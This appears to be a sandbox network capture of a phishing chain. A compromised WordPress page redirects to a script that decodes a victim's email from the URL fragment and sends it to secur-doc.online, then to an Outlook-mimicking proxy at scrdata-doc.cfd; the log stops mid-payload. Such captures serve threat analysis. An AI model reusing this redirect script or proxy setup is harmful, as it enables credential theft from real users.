2024-04-26 11:20:57 UTC	364	IN	Data Raw: 3c 68 65 61 64 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 4d 45 54 41 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 55 52 4c 3d 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 70 72 6f 66 69 73 73 69 6f 6e 61 6c 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 4f 78 5a 55 30 65 38 66 47 54 48 74 37 4e 54 66 72 61 66 71 2f 22 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 70 72 6f 66 69 73 73 69 6f 6e 61 6c 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 4f 78 5a 55 30 65 38 66 47 54 48 74 37 4e 54 66 72 61 66 71 2f 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 70 65 6e 65 72 20 3d 20 Data Ascii: <head><noscript><META http-equiv="refresh" content="0;URL=https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/"></noscript><title>https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/</title></head><script>window.opener =

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	31.170.163.25	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:01 UTC	713	OUT	GET /wp-content/OxZU0e8fGTHt7NTfrafq/ HTTP/1.1 Host: wordpressprofissional.com.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://t.co/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 11:21:01 UTC	516	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/8.2.13 content-type: text/html; charset=UTF-8 content-length: 214 date: Fri, 26 Apr 2024 11:21:01 GMT server: LiteSpeed strict-transport-security: max-age=31536000; includeSubDomains; preload x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-04-26 11:21:01 UTC	214	IN	Data Raw: 3c 73 63 72 69 70 74 3e 20 0a 20 0a 76 61 72 20 65 6d 61 69 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 2e 73 75 62 73 74 72 28 31 29 3b 76 61 72 20 64 65 63 6f 64 65 64 53 74 72 69 6e 67 20 3d 20 61 74 6f 62 28 65 6d 61 69 6c 29 3b 20 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 27 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 2d 64 6f 63 2e 6f 6e 6c 69 6e 65 2f 3f 68 6a 68 6d 78 62 6f 72 26 71 72 63 3d 27 20 2b 20 64 65 63 6f 64 65 64 53 74 72 69 6e 67 3b 20 7d 29 3b 20 0a 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script> var email = window.location.hash.substr(1);var decodedString = atob(email); window.setTimeout(function() {window.location.href = 'https://secur-doc.online/?hjhmxbor&qrc=' + decodedString; }); </script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	23.196.177.159	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:01 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 11:21:01 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0712) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=70967 Date: Fri, 26 Apr 2024 11:21:01 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49721	23.196.177.159	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:02 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 11:21:02 UTC	530	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Content-Type: application/octet-stream ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0DMGnYgAAAACXaXykPZuVRq4aV6pCkeO8U0pDRURHRTAzMTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=70932 Date: Fri, 26 Apr 2024 11:21:02 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-26 11:21:02 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49720	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:03 UTC	707	OUT	GET /?hjhmxbor&qrc= HTTP/1.1 Host: secur-doc.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://wordpressprofissional.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 11:21:04 UTC	606	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=4aRRMNgQQ48G; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; path=/; samesite=none; secure; httponly location: https://r6duftx9uh6.scrdata-doc.cfd?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3I2ZHVmdHg5dWg2LnNjcmRhdGEtZG9jLmNmZCIsImRvbWFpbiI6InI2ZHVmdHg5dWg2LnNjcmRhdGEtZG9jLmNmZCIsImtleSI6IjRhUlJNTmdRUTQ4RyIsInFyYyI6bnVsbCwiaWF0IjoxNzE0MTMwNDY0LCJleHAiOjE3MTQxMzA1ODR9.H5RlzzQftBFmXt14y-ibpfKcNBoPeazRovF59Sczzxc Date: Fri, 26 Apr 2024 11:21:04 GMT Connection: close Transfer-Encoding: chunked
2024-04-26 11:21:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49725	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:05 UTC	994	OUT	GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3I2ZHVmdHg5dWg2LnNjcmRhdGEtZG9jLmNmZCIsImRvbWFpbiI6InI2ZHVmdHg5dWg2LnNjcmRhdGEtZG9jLmNmZCIsImtleSI6IjRhUlJNTmdRUTQ4RyIsInFyYyI6bnVsbCwiaWF0IjoxNzE0MTMwNDY0LCJleHAiOjE3MTQxMzA1ODR9.H5RlzzQftBFmXt14y-ibpfKcNBoPeazRovF59Sczzxc HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://wordpressprofissional.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 11:21:06 UTC	282	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=4aRRMNgQQ48G; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; path=/; samesite=none; secure; httponly location: / Date: Fri, 26 Apr 2024 11:21:06 GMT Connection: close Transfer-Encoding: chunked
2024-04-26 11:21:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49722	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:06 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TtzcNWtAezK1OOG&MD=nko9pdNz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-26 11:21:06 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: bec472aa-9b58-4a56-9f6e-e9a46dbb0de0 MS-RequestId: 61c41969-4d3a-447e-af14-8d319bfd46b4 MS-CV: vyhFPUbkSU6Qgp2s.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 11:21:05 GMT Connection: close Content-Length: 24490
2024-04-26 11:21:06 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-26 11:21:06 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49726	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:06 UTC	769	OUT	GET / HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://wordpressprofissional.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s
2024-04-26 11:21:07 UTC	1171	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://r6duftx9uh6.scrdata-doc.cfd/owa/ Server: Microsoft-IIS/10.0 request-id: 4acb8946-dcfb-d229-d2d5-3ffadc787947 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: AM0PR02CA0149, AM0PR02CA0149 X-RequestId: ac5312bb-b63c-44a9-b2f8-5bf505cf14a6 X-FEProxyInfo: AM0PR02CA0149.EURPRD02.PROD.OUTLOOK.COM X-FEEFZInfo: AMS MS-CV: RonLSvvcKdLS1T/63Hh5Rw.0 X-Powered-By: ASP.NET Date: Fri, 26 Apr 2024 11:21:06 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49730	2.58.15.240	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:07 UTC	773	OUT	GET /owa/ HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://wordpressprofissional.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s
2024-04-26 11:21:08 UTC	7265	IN	HTTP/1.1 302 Found content-length: 1304 Content-Type: text/html; charset=utf-8 Location: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ Server: Microsoft-IIS/10.0 request-id: 47f98de9-a421-689a-73f0-dd24eb151341 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedFETarget: AM6P193CU002.internal.outlook.com X-BackEndHttpStatus: 302, 302 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; expires=Sat, 26-Apr-2025 11:21:08 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; expires=Sat, 26-Apr-2025 11:21:08 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Sat, 26-Oct-2024 11:21:08 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; expires=Fri, 26-Apr-2024 12:21:08 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; expires=Sat, 26-Apr-2025 11:21:08 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Sat, 26-Oct-2024 11:21:08 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=r6duftx9uh6.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; expires=Fri, 26-Apr-2024 12:21:08 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Tue, 26-Apr-1994 11:21:08 GMT; path=/; secure Set-Cookie: X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; expires=Fri, 26-Apr-2024 17:23:08 GMT; path=/;SameSite=None; secure; HttpOnly X-CalculatedBETarget: AS2PR02MB10385.eurprd02.PROD.OUTLOOK.COM X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-BeSku: WCS7 X-OWA-DiagnosticsInfo: 1;0;0 X-IIDs: 0 X-BackEnd-Begin: 2024-04-26T11:21:08.225 X-BackEnd-End: 2024-04-26T11:21:08.225 X-DiagInfo: AS2PR02MB10385 X-BEServer: AS2PR02MB10385 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 302 X-FEProxyInfo: AM0PR02CA0167.EURPRD02.PROD.OUTLOOK.COM X-FEEFZInfo: AMS X-FEServer: AM6P193CA0050, AM0PR02CA0167 NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-FirstHopCafeEFZ: AMS Date: Fri, 26 Apr 2024 11:21:08 GMT Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 11:21:08 UTC	1304	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 4c 6d 46 77 63 47 56 75 5a 45 4e 6f 61 57 78 6b 4b 45 39 69 61 6d 56 6a 64 43 35 68 63 33 4e 70 5a 32 34 6f 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 33 4a 6c 59 58 52 6c 52 57 78 6c 62 57 56 75 64 43 67 69 5a 47 6c 32 49 69 6b 73 65 Data Ascii: <html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse

